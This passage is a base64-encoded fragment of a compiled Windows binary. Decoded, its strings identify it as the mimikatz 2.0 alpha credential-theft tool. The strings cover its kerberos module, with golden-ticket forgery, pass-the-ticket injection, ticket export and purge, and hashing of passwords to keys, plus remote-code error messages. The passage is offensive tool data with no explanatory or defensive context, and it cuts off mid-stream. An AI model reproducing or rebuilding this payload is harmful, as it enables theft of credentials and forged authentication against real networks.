BoAF8AZwBlAG4AZQByAGkAYwBQAHIAbwBjAGUAcwBzAE8AcgBTAGUAcgB2AGkAYwBlAEYAcgBvAG0AQgB1AGkAbABkACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaABfAGcAZQBuAGUAcgBpAGMAUAByAG8AYwBlAHMAcwBPAHIAUwBlAHIAdgBpAGMAZQBGAHIAbwBtAEIAdQBpAGwAZAAgADsAIABTAGUAcgB2AGkAYwBlACAAaQBzACAAbgBvAHQAIAByAHUAbgBuAGkAbgBnAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AZwBlAHQAVQBuAGkAcQB1AGUARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAXwBnAGUAbgBlAHIAaQBjAFAAcgBvAGMAZQBzAHMATwByAFMAZQByAHYAaQBjAGUARgByAG8AbQBCAHUAaQBsAGQAIAA7ACAASQBuAGMAbwByAHIAZQBjAHQAIAB2AGUAcgBzAGkAbwBuACAAaQBuACAAcgBlAGYAZQByAGUAbgBjAGUAcwAKAAAAAABRAFcATwBSAEQAAAAAAAAAUgBFAFMATwBVAFIAQwBFAF8AUgBFAFEAVQBJAFIARQBNAEUATgBUAFMAXwBMAEkAUwBUAAAAAABGAFUATABMAF8AUgBFAFMATwBVAFIAQwBFAF8ARABFAFMAQwBSAEkAUABUAE8AUgAAAAAAAAAAAFIARQBTAE8AVQBSAEMARQBfAEwASQBTAFQAAAAAAAAATQBVAEwAVABJAF8AUwBaAAAAAAAAAAAATABJAE4ASwAAAAAAAAAAAEQAVwBPAFIARABfAEIASQBHAF8ARQBOAEQASQBBAE4AAAAAAAAAAABEAFcATwBSAEQAAAAAAAAAQgBJAE4AQQBSAFkAAAAAAEUAWABQAEEATgBEAF8AUwBaAAAAUwBaAAAAAAAAAAAATgBPAE4ARQAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBjAHIAZQBhAHQAZQAgADsAIABSAHQAbABDAHIAZQBhAHQAZQBVAHMAZQByAFQAaAByAGUAYQBkACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAGUAbQBvAHQAZQBsAGkAYgBfAGMAcgBlAGEAdABlACAAOwAgAEMAcgBlAGEAdABlAFIAZQBtAG8AdABlAFQAaAByAGUAYQBkACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABUAGgAIABAACAAJQBwAAoARABhACAAQAAgACUAcAAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AYwByAGUAYQB0AGUAIAA7ACAAawB1AGwAbABfAG0AXwBrAGUAcgBuAGUAbABfAGkAbwBjAHQAbABfAGgAYQBuAGQAbABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAQwBvAGQAZQBXAGkAdAB0AGgAUABhAHQAdABlAHIAbgBSAGUAcABsAGEAYwBlACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBjAG8AcAB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAQwBvAGQAZQBXAGkAdAB0AGgAUABhAHQAdABlAHIAbgBSAGUAcABsAGEAYwBlACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBhAGwAbABvAGMAIAAvACAAVgBpAHIAdAB1AGEAbABBAGwAbABvAGMAKABFAHgAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBDAG8AZABlAFcAaQB0AHQAaABQAGEAdAB0AGUAcgBuAFIAZQBwAGwAYQBjAGUAIAA7ACAATgBvACAAYgB1AGYAZgBlAHIAIAA/AAoAAAAAAAAAUwBlAHIAdgBpAGMAZQBzAEEAYwB0AGkAdgBlAAAAAABcAHgAJQAwADIAeAAAAAAAMAB4ACUAMAAyAHgALAAgAAAAAAAAAAAAJQAwADIAeAAgAAAAAAAAACUAMAAyAHgAAAAAAAoAAAAlAHMAIAAAACUAcwAAAAAAJQB3AFoAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcwB0AHIAaQBuAGcAXwBkAGkAcwBwAGwAYQB5AFMASQBEACAAOwAgAEMAbwBuAHYAZQByAHQAUwBpAGQAVABvAFMAdAByAGkAbgBnAFMAaQBkACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABUAG8AawBlAG4AAAAAAAAAAAAAAAAAAAAKACAAIAAuACMAIwAjACMAIwAuACAAIAAgAG0AaQBtAGkAawBhAHQAegAgADIALgAwACAAYQBsAHAAaABhACAAKAB4ADYANAApACAAcgBlAGwAZQBhAHMAZQAgACIASwBpAHcAaQAgAGUAbgAgAEMAIgAgACgARgBlAGIAIAAxADYAIAAyADAAMQA1ACAAMgAyADoAMQA1ADoAMgA4ACkACgAgAC4AIwAjACAAXgAgACMAIwAuACAAIAAKACAAIwAjACAALwAgAFwAIAAjACMAIAAgAC8AKgAgACoAIAAqAAoAIAAjACMAIABcACAALwAgACMAIwAgACAAIABCAGUAbgBqAGEAbQBpAG4AIABEAEUATABQAFkAIABgAGcAZQBuAHQAaQBsAGsAaQB3AGkAYAAgACgAIABiAGUAbgBqAGEAbQBpAG4AQABnAGUAbgB0AGkAbABrAGkAdwBpAC4AYwBvAG0AIAApAAoAIAAnACMAIwAgAHYAIAAjACMAJwAgACAAIABoAHQAdABwADoALwAvAGIAbABvAGcALg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BpAGwAZQAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwByAGUAYQBkAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AcAB0AHQAXwBkAGEAdABhACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFMAdQBiAG0AaQB0AFQAaQBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAIAAvACAAUABhAGMAawBhAGcAZQAgADoAIAAlADAAOAB4AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHAAdAB0AF8AZABhAHQAYQAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBTAHUAYgBtAGkAdABUAGkAYwBrAGUAdABNAGUAcwBzAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAAABUAGkAYwBrAGUAdAAoAHMAKQAgAHAAdQByAGcAZQAgAGYAbwByACAAYwB1AHIAcgBlAG4AdAAgAHMAZQBzAHMAaQBvAG4AIABpAHMAIABPAEsACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHAAdQByAGcAZQAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBQAHUAcgBnAGUAVABpAGMAawBlAHQAQwBhAGMAaABlAE0AZQBzAHMAYQBnAGUAIAAvACAAUABhAGMAawBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AcAB1AHIAZwBlACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFAAdQByAGcAZQBUAGkAYwBrAGUAdABDAGEAYwBoAGUATQBlAHMAcwBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAEsAZQByAGIAZQByAG8AcwAgAFQARwBUACAAbwBmACAAYwB1AHIAcgBlAG4AdAAgAHMAZQBzAHMAaQBvAG4AIAA6ACAAAAAAAAAAAAAAAAAACgAKAAkAKgAqACAAUwBlAHMAcwBpAG8AbgAgAGsAZQB5ACAAaQBzACAATgBVAEwATAAhACAASQB0ACAAbQBlAGEAbgBzACAAYQBsAGwAbwB3AHQAZwB0AHMAZQBzAHMAaQBvAG4AawBlAHkAIABpAHMAIABuAG8AdAAgAHMAZQB0ACAAdABvACAAMQAgACoAKgAKAAAAAABuAG8AIAB0AGkAYwBrAGUAdAAgACEACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwB0AGcAdAAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBSAGUAdAByAGkAZQB2AGUAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgAC8AIABQAGEAYwBrAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AdABnAHQAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUgBlAHQAcgBpAGUAdgBlAFQAaQBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAABlAHgAcABvAHIAdAAAAAAACgBbACUAMAA4AHgAXQAgAC0AIAAwAHgAJQAwADgAeAAgAC0AIAAlAHMAAAAAAAAACgAgACAAIABTAHQAYQByAHQALwBFAG4AZAAvAE0AYQB4AFIAZQBuAGUAdwA6ACAAAAAAAAAAAAAgADsAIAAAAAAAAAAAAAAACgAgACAAIABTAGUAcgB2AGUAcgAgAE4AYQBtAGUAIAAgACAAIAAgACAAIAA6ACAAJQB3AFoAIABAACAAJQB3AFoAAAAAAAAAAAAAAAAAAAAKACAAIAAgAEMAbABpAGUAbgB0ACAATgBhAG0AZQAgACAAIAAgACAAIAAgADoAIAAlAHcAWgAgAEAAIAAlAHcAWgAAAAAAAAAKACAAIAAgAEYAbABhAGcAcwAgACUAMAA4AHgAIAAgACAAIAA6ACAAAAAAAAAAAABrAGkAcgBiAGkAAAAAAAAACgAgACAAIAAqACAAUwBhAHYAZQBkACAAdABvACAAZgBpAGwAZQAgACAAIAAgACAAOgAgACUAcwAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBsAGkAcwB0ACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFIAZQB0AHIAaQBlAHYAZQBFAG4AYwBvAGQAZQBkAFQAaQBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAIAAvACAAUABhAGMAawBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGwAaQBzAHQAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUgBlAHQAcgBpAGUAdgBlAEUAbgBjAG8AZABlAGQAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBsAGkAcwB0ACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFEAdQBlAHIAeQBUAGkAYwBrAGUAdABDAGEAYwBoAGUARQB4ADIATQBlAHMAcwBhAGcAZQAgAC8AIABQAGEAYwBrAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGwAaQBzAHQAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUQB1AGUAcgB5AFQAaQBjAGsAZQB0AEMAYQBjAGgAZQBFAHgAMgBNAGUAcwBzAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAAAAAACUAdQAtACUAMAA4AHgALQAlAHcAWgBAACUAdwBaAC0AJQB3AFoALgAlAHMAAAAAAHQAaQBjAGsAZQB0AC4AawBpAHIAYgBpAAAAAAAAAAAAdABpAGMAawBlAHQAAAAAAGEAZABtAGkAbgAAAAAAAABkAG8AbQBhAGkAbgAAAAAAcwBpAGQAAABkAGUAcwAAAHIAYwA0AAAAawByAGIAdABnAHQAAAAAAGEAZQBzADEAMgA4AAAAAABhAGUAcwAyADUANgAAAAAAdABhAHIAZwBlAHQAAAAAAGkAZAAAAAAAZwByAG8AdQBwAHMAAAAAADAAAAAAAAAAcwB0AGEAcgB0AG8AZgBmAHMAZQB0AAAANQAyADUANgAwADAAMAAAAGUAbgBkAGkAbgAAAAAAAAByAGUAbgBlAHcAbQBhAHgAAAAAAAAAAABVAHMAZQByACAAIAAgACAAIAAgADoAIAAlAHMACgBEAG8AbQBhAGkAbgAgACAAIAAgADoAIAAlAHMACgBTAEkARAAgACAAIAAgACAAIAAgADoAIAAlAHMACgBVAHMAZQByACAASQBkACAAIAAgADoAIAAlAHUACgAAAAAAAAAAAEcAcgBvAHUAcABzACAASQBkACAAOgAgACoAAAAAAAAAJQB1ACAAAAAKAFMAZQByAHYAaQBjAGUASwBlAHkAOgAgAAAAAAAAACAALQAgACUAcwAKAAAAAABTAGUAcgB2AGkAYwBlACAAIAAgADoAIAAlAHMACgAAAFQAYQByAGcAZQB0ACAAIAAgACAAOgAgACUAcwAKAAAATABpAGYAZQB0AGkAbQBlACAAIAA6ACAAAAAAAAAAAAAqACoAIABQAGEAcwBzACAAVABoAGUAIABUAGkAYwBrAGUAdAAgACoAKgAAAAAAAAAtAD4AIABUAGkAYwBrAGUAdAAgADoAIAAlAHMACgAKAAAAAAAAAAAACgBHAG8AbABkAGUAbgAgAHQAaQBjAGsAZQB0ACAAZgBvAHIAIAAnACUAcwAgAEAAIAAlAHMAJwAgAHMAdQBjAGMAZQBzAHMAZgB1AGwAbAB5ACAAcwB1AGIAbQBpAHQAdABlAGQAIABmAG8AcgAgAGMAdQByAHIAZQBuAHQAIABzAGUAcwBzAGkAbwBuAAoAAAAAAAAAAAAKAEYAaQBuAGEAbAAgAFQAaQBjAGsAZQB0ACAAUwBhAHYAZQBkACAAdABvACAAZgBpAGwAZQAgACEACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAAoAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AdwByAGkAdABlAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAASwByAGIAQwByAGUAZAAgAGUAcgByAG8AcgAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAASwByAGIAdABnAHQAIABrAGUAeQAgAHMAaQB6AGUAIABsAGUAbgBnAHQAaAAgAG0AdQBzAHQAIABiAGUAIAAlAHUAIAAoACUAdQAgAGIAeQB0AGUAcwApACAAZgBvAHIAIAAlAHMACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAGwAbwBjAGEAdABlACAAQwByAHkAcAB0AG8AUwB5AHMAdABlAG0AIABmAG8AcgAgAEUAVABZAFAARQAgACUAdQAgACgAZQByAHIAbwByACAAMAB4ACUAMAA4AHgAKQAgAC0AIABBAEUAUwAgAG8AbgBsAHkAIABhAHYAYQBpAGwAYQBiAGwAZQAgAG8AbgAgAE4AVAA2AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABNAGkAcwBzAGkAbgBnACAAawByAGIAdABnAHQAIABrAGUAeQAgAGEAcgBnAHUAbQBlAG4AdAAgACgALwByAGMANAAgAG8AcgAgAC8AYQBlAHMAMQAyADgAIABvAHIAIAAvAGEAZQBzADIANQA2ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABTAEkARAAgAHMAZQBlAG0AcwAgAGkAbgB2AGEAbABpAGQAIAAtACAAQwBvAG4AdgBlAHIAdABTAHQAcgBpAG4AZwBTAGkAZABUAG8AUwBpAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAE0AaQBzAHMAaQBuAGcAIABTAEkARAAgAGEAcgBnAHUAbQBlAG4AdAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABNAGkAcwBzAGkAbgBnACAAZABvAG0AYQBpAG4AIABhAHIAZwB1AG0AZQBuAHQACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAATQBpAHMAcwBpAG4AZwAgAHUAcwBlAHIAIABhAHIAZwB1AG0AZQBuAHQACgAAAAAAAAAgACoAIABQAEEAQwAgAGcAZQBuAGUAcgBhAHQAZQBkAAoAAAAAAAAAIAAqACAAUABBAEMAIABzAGkAZwBuAGUAZAAKAAAAAAAgACoAIABFAG4AYwBUAGkAYwBrAGUAdABQAGEAcgB0ACAAZwBlAG4AZQByAGEAdABlAGQACgAAACAAKgAgAEUAbgBjAFQAaQBjAGsAZQB0AFAAYQByAHQAIABlAG4AYwByAHkAcAB0AGUAZAAKAAAAIAAqACAASwByAGIAQwByAGUAZAAgAGcAZQBuAGUAcgBhAHQAZQBkAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuAF8AZABhAHQAYQAgADsAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGUAbgBjAHIAeQBwAHQAIAAlADAAOAB4AAoAAAAAAAAAcABhAHMAcwB3AG8AcgBkAAAAAAAAAAAAYwBvAHUAbgB0AAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AaABhAHMAaAAgADsAIABIAGEAcwBoAFAAYQBzAHMAdwBvAHIAZAAgADoAIAAlADAAOAB4AAoAAAAAAAAAWAAtAEMAQQBDAEgARQBDAE8ATgBGADoAAAAAAAAAAAAKAFAAcgBpAG4AYwBpAHAAYQBsACAAOgAgAAAAAAAAAAoACgBEAGEAdABhACAAJQB1AAAAAAAAAAoACQAgACAAIAAqACAASQBuAGoAZQBjAHQAaQBuAGcAIAB0AGkAYwBrAGUAdAAgADoAIAAAAAAACgAJACAAIAAgACoAIABTAGEAdgBlAGQAIAB0AG8AIABmAGkAbABlACAAJQBzACAAIQAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGMAYwBhAGMAaABlAF8AZQBuAHUAbQAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwB3AHIAaQB0AGUARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAACgAJACoAIAAlAHcAWgAgAGUAbgB0AHIAeQA/ACAAKgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AYwBjAGEAYwBoAGUAXwBlAG4AdQBtACAAOwAgAGMAYwBhAGMAaABlACAAdgBlAHIAcwBpAG8AbgAgACEAPQAgADAAeAAwADUAMAA0AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBjAGMAYQBjAGgAZQBfAGUAbgB1AG0AIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AcgBlAGEAZABEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBjAGMAYQBjAGgAZQBfAGUAbgB1AG0AIAA7ACAAQQB0ACAAbABlAGEAcwB0ACAAbwBuAGUAIABmAGkAbABlAG4AYQBtAGUAIABpAHMAIABuAGUAZQBkAGUAZAAKAAAAAAAAAAAAJQB1AC0AJQAwADgAeAAuACUAcwAAAAAAcgBlAHMAZQByAHYAZQBkAAAAAAAAAAAAZgBvAHIAdwBhAHIAZABhAGIAbABlAAAAZgBvAHIAdwBhAHIAZABlAGQAAAAAAAAAcAByAG8AeABpAGEAYgBsAGUAAAAAAAAAcAByAG8AeAB5AAAAAAAAAG0AYQB5AF8AcABvAHMAdABkAGEAdABlAAAAAAAAAAAAcABvAHMAdABkAGEAdABlAGQAAAAAAAAAaQBuAHYAYQBsAGkAZAAAAHIAZQBuAGUAdwBhAGIAbABlAAAAAAAAAGkAbgBpAHQAaQBhAGwAAABwAHIAZQBfAGEAdQB0AGgAZQBuAHQAAABoAHcAXwBhAHUAdABoAGUAbgB0AAAAAABvAGsAXwBhAHMAXwBkAGUAbABlAGcAYQB0AGUAAAAAAD8AAAAAAAAAbgBhAG0AZQBfAGMAYQBuAG8AbgBpAGMAYQBsAGkAegBlAAAAAAAAAAoACQAgACAAIABTAHQAYQByAHQALwBFAG4AZAAvAE0AYQB4AFIAZQBuAGUAdwA6ACAAAAAAAAAACgAJACAAIAAgAFMAZQByAHYAaQBjAGUAIABOAGEAbQBlACAAAAAAAAoACQAgACAAIABUAGEAcgBnAGUAdAAgAE4AYQBtAGUAIAAgAAAAAAAKAAkAIAAgACAAQwBsAGkAZQBuAHQAIABOAGEAbQBlACAAIAAAAAAAIAAoACAAJQB3AFoAIAApAAAAAAAAAAAACgAJACAAIAAgAEYAbABhAGcAcwAgACUAMAA4AHgAIAAgACAAIAA6ACAAAAAAAAAACgAJACAAIAAgAFMAZQBzAHMAaQBvAG4AIABLAGUAeQAgACAAIAAgACAAIAAgADoAIAAwAHgAJQAwADgAeAAgAC0AIAAlAHMAAAAAAAAAAAAKAAkAIAAgACAAIAAgAAAACgAJACAAIAAgAFQAaQBjAGsAZQB0ACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAwAHgAJQAwADgAeAAgAC0AIAAlAHMAIAA7ACAAawB2AG4AbwAgAD0AIAAlAHUAAAAAAAAAAAAJAFsALgAuAC4AXQAAAAAAJQBzACAAOwAgAAAAAAAAACgAJQAwADIAaAB1ACkAIAA6ACAAAAAAACUAdwBaACAAOwAgAAAAAAAoAC0ALQApACAAOgAgAAAAQAAgACUAdwBaAAAAAAAAAG4AdQBsAGwAI